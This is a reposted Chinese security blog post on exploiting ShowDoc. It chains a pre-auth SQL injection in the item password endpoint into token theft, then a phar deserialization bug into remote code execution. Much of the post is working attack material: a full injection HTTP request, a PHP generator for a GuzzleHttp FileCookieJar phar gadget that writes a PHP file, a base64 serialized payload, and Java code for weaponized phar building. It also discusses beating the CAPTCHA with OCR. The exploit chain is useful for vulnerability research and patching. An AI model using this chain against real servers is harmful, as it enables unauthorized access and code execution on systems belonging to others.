showdoc sqli to rce漏洞利用思考

2024-07-06 284 0

漏洞版本

sqli <=3.2.5

phar 反序列化 <=3.2.4

漏洞分析

前台sqli

补丁 https://github.com/star7th/showdoc/commit/84fc28d07c5dfc894f5fbc6e8c42efd13c976fda

补丁对比发现,在server/Application/Api/Controller/ItemController.class.php中将$item_id变量从拼接的方式换成参数绑定的形式,那么可以推断,这个点可能存在sql注入。

在server/Application/Api/Controller/ItemController.class.php的pwd方法中,从请求中拿到item_id参数,并拼接到where条件中执行,并无鉴权,由此可判断为前台sql注入。

但在进入sql注入点之前,会从请求中获取captcha_id和captcha参数,该参数需要传入验证码id及验证码进行验证,所以,每次触发注入之前,都需要提交一次验证码。

验证码的逻辑是根据captcha_id从Captcha表中获取未超时的验证码进行比对,验证过后,会将验证码设置为过期状态。

完整拼接的sql语句

SELECT * FROM item WHERE ( item_id = '1' ) LIMIT 1

$password 和 $refer_url 参数都可控,可通过联合查询控制password的值满足条件返回$refer_url参数值,1') union select 1,2,3,4,5,6,7,8,9,0,11,12 --,6对应的是password字段,所以password参数传递6,条件成立,回显传入$refer_url参数,那么就存在sql注入。

POST /server/index.php?s=/Api/Item/pwd HTTP/1.1Host: 172.20.10.1Content-Length: 110Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://127.0.0.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://127.0.0.1/server/index.php?s=/Api/Item/pwdAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9sec-ch-ua: "Google Chrome";v="125", "Chromium";v="125", "Not.A/Brand";v="24"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-fetch-site: same-originsec-fetch-mode: navigatesec-fetch-dest: documentcookie: PHPSESSID=1r419tk5dmut6vs4etuv656t1q; think_language=zh-CN; XDEBUG_SESSION=XDEBUG_ECLIPSEx-forwarded-for: 127.0.0.1x-originating-ip: 127.0.0.1x-remote-ip: 127.0.0.1x-remote-addr: 127.0.0.1Connection: closecaptcha=8856&captcha_id=87&item_id=1')+union+select+1,2,3,4,5,6,7,8,9,0,11,12+--&password=6&refer_url=aGVsbG8=

sqli获取token

鉴权是通过调用server/Application/Api/Controller/BaseController.class.php的checkLogin方法来进行验证。

未登录时,会从请求中拿到user_token参数,再通过user_token在UserToken表中查询,验证是否超时,将未超时记录的uid字段拿到User表中查询,最后将返回的$login_user设置到Session中。

那么只需要通过注入获取到UserToken表中未超时的token,那么就可以通过该token访问后台接口。

phar反序列化rce

补丁

https://github.com/star7th/showdoc/commit/805983518081660594d752573273b8fb5cbbdb30

补丁将new_is_writeable方法的访问权限从public设置为private。

在server/Application/Home/Controller/IndexController.class.php的new_is_writeable方法中。该处调用了is_dir,并且$file可控,熟悉phar反序列化的朋友都知道,is_dir函数可协议可控的情况下可触发反序列化。

有了触发反序列化的点,还需要找到一条利用链,Thinkphp环境中用到GuzzleHttp,GuzzleHttp\Cookie\FileCookieJar的__destruct方法可保存文件。

网上已经有很多分析,这里直接给出生成phar的exp。

<?phpnamespace GuzzleHttp\Cookie {class CookieJar{private $cookies;public function __construct(){  $this->cookies = array(new SetCookie());}private $strictMode;}class FileCookieJar extends CookieJar{  private $filename = "E:\\Tools\\Env\\phpstudy_pro\\WWW\\showdoc-3.2.4\\server\\test.php";  private $storeSessionCookies = true;}class SetCookie{  private $data = array('Expires' => '<?php phpinfo(); ?>');}}namespace {$phar = new Phar("phar.phar"); //后缀名必须为phar$phar->startBuffering();$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub$o = new \GuzzleHttp\Cookie\FileCookieJar();$phar->setMetadata($o); //将⾃定义的meta-data存⼊manifest$phar->addFromString("test.txt", "test"); //添加要压缩的⽂件//签名⾃动计算$phar->stopBuffering();}

生成exp时,写入的路径需要指定绝对路径,在docker中部署的默认为/var/www/html,其他则可以通过访问时指定一个不存在的模块报错拿到绝对路径。

后续利用,找到一个上传且知道路径的点,将生成的phar文件改成png进行上传。

访问返回的链接,可获取上传文件的路径。

调用new_is_writeable方法,通过phar://访问文件触发反序列化。

武器化利用思考

在java环境下,对该漏洞进行武器化时,考虑到两点情况,一个是在通过sqli获取token时,需要对验证码进行识别,目前网上已经有师傅移植了ddddocr。

https://github.com/BreathofWild/ddddocr-java8

另一个是在使用exp生成phar文件时,需要指定写入文件的绝对路径以及内容,在java下没找到可以直接生成phar文件的方法,没法动态生成phar文件,对phar文档格式解析,实现一个可在java环境下指定反序列化数据来生成phar文件的方法。

phar文档格式解析

通过php生成一个phar文件,用010 Editor 打开,通过官网文档对phar格式说明,解析phar的文件。

https://www.php.net/manual/zh/phar.fileformat.ingredients.php

phar文档分为四个部分:Stub、manifest、contents、signature

Stub

就是一个php文件,用于标识该文件为phar文件,该文件内容必须以来结尾 ,感觉类似于文件头。

manifest

这个部分不同区间指定了一些信息,其中就包含了反序列化的数据。

https://www.php.net/manual/zh/phar.fileformat.phar.php

1 - 4(bytes) 存放的是整个 manifest 的长度,01C7转换为10进制为455,代表整个manifest 的长度455。

5 - 8 (bytes) Phar 中的文件数 也就是 contents 中的文件数 ,有一个文件。

9-10 存放的是 API version 版本。

11-14 Global Phar bitmapped flags。

15 - 18 如果有别名,那么该区间存放的是别名长度,这里不存在别名。

19 - 22 元数据长度 0191 转十进制 401 代表元数据长度为 401。

22-?元数据,元数据中存放的就是反序列化的数据。

contents

这个部分可有可无,是 manifest 第二个区间指定的一个内容,官网没有具体说明,漏洞利用时也不会用到。

signature

actual signature

这个部分存放签名内容。签名的方式不同,签名的长度也不一样,SHA1 签名为 20 字节,MD5 签名为 16 字节,SHA256 签名为 32 字节,SHA512 签名为 64 字节。OPENSSL 签名的长度取决于私钥的大小。

ignature flags (4 bytes)

这个部分标识签名的算法, 0x0001 用于定义 MD5 签名, 0x0002 用于定义 SHA1 签名, 0x0003 用于定义 SHA256 签名, 0x0004 用于定义 SHA512 签名。0x0010 用于定义 OPENSSL 签名。

GBMB (4 bytes)

Magic GBMB

签名算法为 02,使用的即是SHA1签名。

签名的长度为 20 字节。

通过对整个phar文件格式进行解析,发现大部分字段都是固定不变的。需要变化的字段有:

1、manifest 的长度

2、manifest 中元数据

3、manifest 中的 元数据长度

4、signature flag 签名算法

java生成 phar文件

最终构造得到:

package org.example;import com.sun.org.apache.xml.internal.security.exceptions.Base64DecodingException;import com.sun.org.apache.xml.internal.security.utils.Base64;import java.io.ByteArrayOutputStream;import java.io.FileOutputStream;import java.io.IOException;import java.nio.ByteBuffer;import java.nio.charset.StandardCharsets;import java.security.MessageDigest;import java.security.NoSuchAlgorithmException;public class App {  public static void main( String[] args ) throws IOException, Base64DecodingException {      final FileOutputStream fileOutputStream = new FileOutputStream("phar.phar");      final byte[] decode = Base64.decode("TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czo0MToiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAZmlsZW5hbWUiO3M6ODoidGVzdC5waHAiO3M6NTI6IgBHdXp6bGVIdHRwXENvb2tpZVxGaWxlQ29va2llSmFyAHN0b3JlU2Vzc2lvbkNvb2tpZXMiO2I6MTtzOjM2OiIAR3V6emxlSHR0cFxDb29raWVcQ29va2llSmFyAGNvb2tpZXMiO2E6MTp7aTowO086Mjc6Ikd1enpsZUh0dHBcQ29va2llXFNldENvb2tpZSI6MTp7czozMzoiAEd1enpsZUh0dHBcQ29va2llXFNldENvb2tpZQBkYXRhIjthOjE6e3M6NzoiRXhwaXJlcyI7czoxOToiPD9waHAgcGhwaW5mbygpOyA/PiI7fX19czozOToiAEd1enpsZUh0dHBcQ29va2llXENvb2tpZUphcgBzdHJpY3RNb2RlIjtOO30=");      final String s = new String(decode);      fileOutputStream.write(GeneratePharFilebyte(s, 2));      fileOutputStream.close();  }  public static byte[] GeneratePharFilebyte(String payload, int hashMode) {      // 添加 stub      String stubStr = "GIF89a<?php __HALT_COMPILER(); ?>\r\n";      byte[] stubByte = stubStr.getBytes(StandardCharsets.UTF_8);      // 长度 14      byte[] manifestMid = {(byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,  (byte) 0x11, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00};      // 反序列化数据      byte[] SerializationByte = payload.getBytes(StandardCharsets.UTF_8);      // 文件数据      byte[] fileByte = {(byte) 0x08, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x74, (byte) 0x65, (byte) 0x73, (byte) 0x74, (byte) 0x2E, (byte) 0x74, (byte) 0x78, (byte) 0x74, (byte) 0x04, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0xF7, (byte) 0x02, (byte) 0x63, (byte) 0x66, (byte) 0x04, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x0C,(byte) 0x7E, (byte) 0x7F, (byte) 0xD8, (byte) 0xB6, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x74, (byte) 0x65, (byte) 0x73, (byte) 0x74};      // Signature      // 2. 签名标志      ByteBuffer signaturebuffer = ByteBuffer.allocate(4);      signaturebuffer.putInt(hashMode);      byte[] signatureFlag = signaturebuffer.array();      // GBMB      byte[] gbgm = {(byte) 0x47, (byte) 0x42, (byte) 0x4D, (byte) 0x42};      // 计算反序列化数据长度      ByteBuffer Seriabuffer = ByteBuffer.allocate(4);      Seriabuffer.putInt(SerializationByte.length);      byte[] SeriaLength = Seriabuffer.array();      // 计算总长度      int length = manifestMid.length + SerializationByte.length + fileByte.length;      ByteBuffer buffer = ByteBuffer.allocate(4);      buffer.putInt(length);      byte[] manifestLength = buffer.array();      try {          final ByteArrayOutputStream baos = new ByteArrayOutputStream();          // 添加 stub          baos.write(stubByte);          // 添加manifest 总长度          reverseBytes(manifestLength);          baos.write(manifestLength);          // 添加 manifestMid          baos.write(manifestMid);          // 添加反序列化数据长度          reverseBytes(SeriaLength);          baos.write(SeriaLength);          // 添加反序列化数据          baos.write(SerializationByte);          // 添加文件          baos.write(fileByte);          // 添加signature          // 计算 signature          if (hashMode == 1){ // md5              MessageDigest md5Digest = MessageDigest.getInstance("MD5");              byte[] md5Bytes = md5Digest.digest(baos.toByteArray());              baos.write(md5Bytes);          } else if (hashMode == 2) { // sha1              MessageDigest sha1Digest = MessageDigest.getInstance("SHA-1");              sha1Digest.update(baos.toByteArray());              byte[] hashBytes = sha1Digest.digest();              baos.write(hashBytes);          } else if (hashMode == 3) { // SHA256              MessageDigest sha256Digest = MessageDigest.getInstance("SHA-256");              sha256Digest.update(baos.toByteArray());              byte[] hashBytes = sha256Digest.digest();              baos.write(hashBytes);          }else if (hashMode == 4) { // SHA512              MessageDigest sha512Digest = MessageDigest.getInstance("SHA-512");              sha512Digest.update(baos.toByteArray());              byte[] hashBytes = sha512Digest.digest();              baos.write(hashBytes);          }          // 添加签名标志          reverseBytes(signatureFlag);          baos.write(signatureFlag);          // 添加          baos.write(gbgm);          return baos.toByteArray();      } catch (IOException e) {          throw new RuntimeException(e);      } catch (NoSuchAlgorithmException e) {          throw new RuntimeException(e);      }  }  public static void reverseBytes(byte[] bytes) {      int left = 0;      int right = bytes.length - 1;      while (left < right) {          // 交换左右两端的元素          byte temp = bytes[left];          bytes[left] = bytes[right];          bytes[right] = temp;          // 移动左右指针          left++;          right--;      }  }}

原文链接


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

办事处网络安全监控与事件响应;国外员工终端安全性怎么保障 | FB甲方群话题讨论
拿不下总统之位,那就用热加载拿下验证码识别与爆破好了!
Sooty:一款SoC分析一体化与自动化CLI工具
shiro CVE-2016-6802 路径绕过(越权)
Apache Solr 身份验证绕过漏洞(CVE-2024-45216)详解
llama_index的CVE-2024-4181漏洞根因分析

发布评论